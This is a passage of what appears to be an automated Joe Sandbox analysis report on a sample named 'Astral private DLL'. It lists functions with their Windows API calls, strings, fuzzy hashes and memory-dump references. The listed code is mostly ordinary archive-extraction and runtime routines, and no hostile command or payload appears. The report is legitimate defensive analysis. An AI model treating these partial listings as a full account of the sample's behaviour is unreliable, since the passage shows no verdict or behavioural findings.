Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7bd72ccfab7a2a66e94f101e3f1d4c26fe1a2ab1a4826815a646af0f615e76c5
Instruction ID: 73153cb15a47298873e1c858fabb155719fe77a2adb2db6128c1b332ecbe998e
Opcode Fuzzy Hash: 7bd72ccfab7a2a66e94f101e3f1d4c26fe1a2ab1a4826815a646af0f615e76c5
Instruction Fuzzy Hash: 2FA011CA2A8002BC320822002E02C3B02FCC0CAF20330C8AEF82A80080AA800C0008B2

Function 0017E541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 850588080ef8ab50cca7936f285c4ca39cb530ec1a21b9fe4c7b925426f50b2b
Instruction ID: 73153cb15a47298873e1c858fabb155719fe77a2adb2db6128c1b332ecbe998e
Opcode Fuzzy Hash: 850588080ef8ab50cca7936f285c4ca39cb530ec1a21b9fe4c7b925426f50b2b
Instruction Fuzzy Hash: 2FA011CA2A8002BC320822002E02C3B02FCC0CAF20330C8AEF82A80080AA800C0008B2

Function 0017E573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E580

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 54de4c53b6a6323dc04372ece62134897a67bb7699fe6c76cd568e9171fd5ed2
Instruction ID: 91167bc387cc1abb9b4865a3c0861a89cdd4a9ec95f07a759dae6d2c28519c27
Opcode Fuzzy Hash: 54de4c53b6a6323dc04372ece62134897a67bb7699fe6c76cd568e9171fd5ed2
Instruction Fuzzy Hash: 47A011CA2E80003C320822A02C02C3B02FCC0E8B22332C2AEF82888080AA80080008B2

Function 0017E569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E51F

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e53a69c7b18dd4e7d2b33233fc058ccae407188a57e3e160cfbfc27f46756f4f
Instruction ID: 73153cb15a47298873e1c858fabb155719fe77a2adb2db6128c1b332ecbe998e
Opcode Fuzzy Hash: e53a69c7b18dd4e7d2b33233fc058ccae407188a57e3e160cfbfc27f46756f4f
Instruction Fuzzy Hash: 2FA011CA2A8002BC320822002E02C3B02FCC0CAF20330C8AEF82A80080AA800C0008B2

Function 0017E58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E580

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a26021c20faa6395cde6af9aafdbd4fedfb7551a1cb586eb97463127a55b9fed
Instruction ID: 19af208c2a684e12cafce2ed69d21663d439251a45ff9a91b2a1f9653b566902
Opcode Fuzzy Hash: a26021c20faa6395cde6af9aafdbd4fedfb7551a1cb586eb97463127a55b9fed
Instruction Fuzzy Hash: 95A011CA2A8002BC320822A02C02C3B02FCC0C8B20332C8AEF82A88080AA80080008B2

Function 0017E5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E580

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ec27472db3713892bdd419bd67d6923aea65147a63dd7d3397cb29b24440bb49
Instruction ID: 19af208c2a684e12cafce2ed69d21663d439251a45ff9a91b2a1f9653b566902
Opcode Fuzzy Hash: ec27472db3713892bdd419bd67d6923aea65147a63dd7d3397cb29b24440bb49
Instruction Fuzzy Hash: 95A011CA2A8002BC320822A02C02C3B02FCC0C8B20332C8AEF82A88080AA80080008B2

Function 00169F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,0016903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00169F0C

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: de7a1496a4bf37f811b4f2b299c5b4a2ba0b58b114d4a6bde27a69d785ead7bf
Instruction ID: ed0fabe071716ba51e95008cfbcc860e9f4954d1aff269f159e14524129ca93e
Opcode Fuzzy Hash: de7a1496a4bf37f811b4f2b299c5b4a2ba0b58b114d4a6bde27a69d785ead7bf
Instruction Fuzzy Hash: 07A0223008000E8BCE002B32CE0800C3B20FB22BC030802E8B00BCF8F2CB2388ABCB00

Function 0017AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0017AE72,C:\Users\user\AppData\Local\Temp,00000000,001A946A,00000006), ref: 0017AC08

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: d6f8e8d2da3ad2ae6672cbf6a9c38e8efdcf72d2a21ab48bbdb90c6e81925c82
Instruction ID: 7ca539e231fbba815e9d3c8c0e1b3476141bedc3f555f1c765d6d3748e8ce2a0
Opcode Fuzzy Hash: d6f8e8d2da3ad2ae6672cbf6a9c38e8efdcf72d2a21ab48bbdb90c6e81925c82
Instruction Fuzzy Hash: 77A011302002008B82000B328F0AA0EBAAAAFA2B00F00C03AA00080030CB30C8A0AA00

Function 00169620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,001695D6,?,?,?,?,?,00192641,000000FF), ref: 0016963B

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b0469d04ae46f4324a2d2731b13dc6f818c6dcd462d22536c08433cb81682a1c
Instruction ID: 4d28a55eb25dc83d83f9aa4f311b77ccaf2c6fcecc11ad194957e23dd24370da
Opcode Fuzzy Hash: b0469d04ae46f4324a2d2731b13dc6f818c6dcd462d22536c08433cb81682a1c
Instruction Fuzzy Hash: DFF0E230082B159FDB308B20CC48B92B7EDAB22335F044B1ED0F2429E0D370699D8A40

Non-executed Functions

Function 0017C220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00161316: GetDlgItem.USER32(00000000,00003021), ref: 0016135A
Part of subcall function 00161316: SetWindowTextW.USER32(00000000,001935F4), ref: 00161370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0017C2B1
EndDialog.USER32(?,00000006), ref: 0017C2C4
GetDlgItem.USER32(?,0000006C), ref: 0017C2E0
SetFocus.USER32(00000000), ref: 0017C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0017C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0017C358
FindFirstFileW.KERNEL32(?,?), ref: 0017C36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0017C38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0017C39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0017C3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0017C3D4
_swprintf.LIBCMT ref: 0017C404

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0017C417
FindClose.KERNEL32(00000000), ref: 0017C41E
_swprintf.LIBCMT ref: 0017C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 0017C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0017C4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0017C4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 0017C4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0017C4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0017C509
_swprintf.LIBCMT ref: 0017C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0017C548
_swprintf.LIBCMT ref: 0017C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0017C5AF

Part of subcall function 0017AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0017AF35
Part of subcall function 0017AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,0019E72C,?,?), ref: 0017AF84

Strings

%s %s %s, xrefs: 0017C3F2, 0017C527
REPLACEFILEDLG, xrefs: 0017C247
%s %s, xrefs: 0017C469, 0017C58E

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: e3c8656b6cb9c76248be4c2ea4a8c76f64635792bfa2c0d7ce846afb6148dd0d
Instruction ID: 1db678a41b96ba40121317eaaf1a5ab19354acbe6eb21ad0999899bec951ec7a
Opcode Fuzzy Hash: e3c8656b6cb9c76248be4c2ea4a8c76f64635792bfa2c0d7ce846afb6148dd0d
Instruction Fuzzy Hash: BA918272248348BFD3219BA4DC49FFB7BBCEB4A700F048819F649D6491D775EA448B62

Function 00166FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00166FAA
_wcslen.LIBCMT ref: 00167013
_wcslen.LIBCMT ref: 00167084

Part of subcall function 00167A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00167AAB
Part of subcall function 00167A9C: GetLastError.KERNEL32 ref: 00167AF1
Part of subcall function 00167A9C: CloseHandle.KERNEL32(?), ref: 00167B00

Part of subcall function 0016A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,0016977F,?,?,001695CF,?,?,?,?,?,00192641,000000FF), ref: 0016A1F1
Part of subcall function 0016A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0016977F,?,?,001695CF,?,?,?,?,?,00192641), ref: 0016A21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00167139
CloseHandle.KERNEL32(00000000), ref: 00167155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00167298

Part of subcall function 00169DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,001673BC,?,?,?,00000000), ref: 00169DBC
Part of subcall function 00169DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00169E70

Part of subcall function 00169620: CloseHandle.KERNELBASE(000000FF,?,?,001695D6,?,?,?,?,?,00192641,000000FF), ref: 0016963B

Part of subcall function 0016A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0016A325,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A501
Part of subcall function 0016A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0016A325,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A532

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00166FCC
\??\, xrefs: 0016702B
SeRestorePrivilege, xrefs: 00166FC2
UNC\, xrefs: 00167051

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: d738e25bc09fc67dccaa1165ab79338936f637279236e5f3ee62d7c919ea698f
Instruction ID: d9f3b92289114c162d6ea174e3022eee56386b7c2de7052e24bb13ef8234ee67
Opcode Fuzzy Hash: d738e25bc09fc67dccaa1165ab79338936f637279236e5f3ee62d7c919ea698f
Instruction Fuzzy Hash: EEC1F871D04604ABEB25EBB4CC41FEEB3ACBF15304F04455AF956E7282D730AA54CB61

Function 0018D8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0018DA34

Strings

1#SNAN, xrefs: 0018EC33
1#INF, xrefs: 0018EC41
1#QNAN, xrefs: 0018EC3A
1#IND, xrefs: 0018EC2C

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d40b8e4f39c02061dfcc69282280eb59c015ca85cba117512ee7a89931589f83
Instruction ID: 4cdc8f613e7b0d292ed128462bdb02016929f2181eae2870f22c9a4840aa5438
Opcode Fuzzy Hash: d40b8e4f39c02061dfcc69282280eb59c015ca85cba117512ee7a89931589f83
Instruction Fuzzy Hash: 5FC23971E086288FDB29EE289D407EAB7F5EB45305F1541EAD84DE7280E775AF818F40

Function 001632F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00163300
_swprintf.LIBCMT ref: 001636C7

Strings

hc%u, xrefs: 0016370A
CMT, xrefs: 00163A17
h%u, xrefs: 001636BC

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 4d40c52e51c04484625d7c39b8a44fbcedd4db5fb689a24fa9c1bad22b9a1953
Instruction ID: 3af4bb283c8b4374d96c65eac1c1d4daaad7f069399e4cebfd5cc9bf3a5c1a65
Opcode Fuzzy Hash: 4d40c52e51c04484625d7c39b8a44fbcedd4db5fb689a24fa9c1bad22b9a1953
Instruction Fuzzy Hash: 5932F671510385AFDF18DF74CC95AEA3BA5AF25300F08447DFD9A8B282DB709A59CB60

Function 0016286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00162874
_strlen.LIBCMT ref: 00162E3F

Part of subcall function 001702BA: __EH_prolog.LIBCMT ref: 001702BF

Part of subcall function 00171B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0016BAE9,00000000,?,?,?,0001043C), ref: 00171BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00162F91

Strings

CMT, xrefs: 00162FBC

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: d1276f0ca68d54937fb156075903b46babc1f2cd64f8660f67842c7e458f5af6
Instruction ID: 729779708f421095f5bd2bcb24ac6410a024d7fa51295b988dfabaf511077525
Opcode Fuzzy Hash: d1276f0ca68d54937fb156075903b46babc1f2cd64f8660f67842c7e458f5af6
Instruction Fuzzy Hash: 6F6227716006458FDF19DF78CC956FA3BA1EF64300F08447EECAA8B282DB759965CB60

Function 0017F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0017F844
IsDebuggerPresent.KERNEL32 ref: 0017F910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0017F930
UnhandledExceptionFilter.KERNEL32(?), ref: 0017F93A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 17b26e379de36cba1ce513148b2f8a6e38fa60469920d4ea7037c932efef4fac
Instruction ID: e3777dd9f83c502e252cdfe62e32881637da35da5b5ab7d929064232f1fb42f4
Opcode Fuzzy Hash: 17b26e379de36cba1ce513148b2f8a6e38fa60469920d4ea7037c932efef4fac
Instruction Fuzzy Hash: 9C312975D05219DBDB20DFA4D9897CDBBB8AF08304F1080AAE50CAB250EB719B858F45

Function 0017E6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,0017E5E8,0000001C,0017E7DD,00000000,?,?,?,?,?,?,?,0017E5E8,00000004,001C1CEC,0017E86D), ref: 0017E6B4
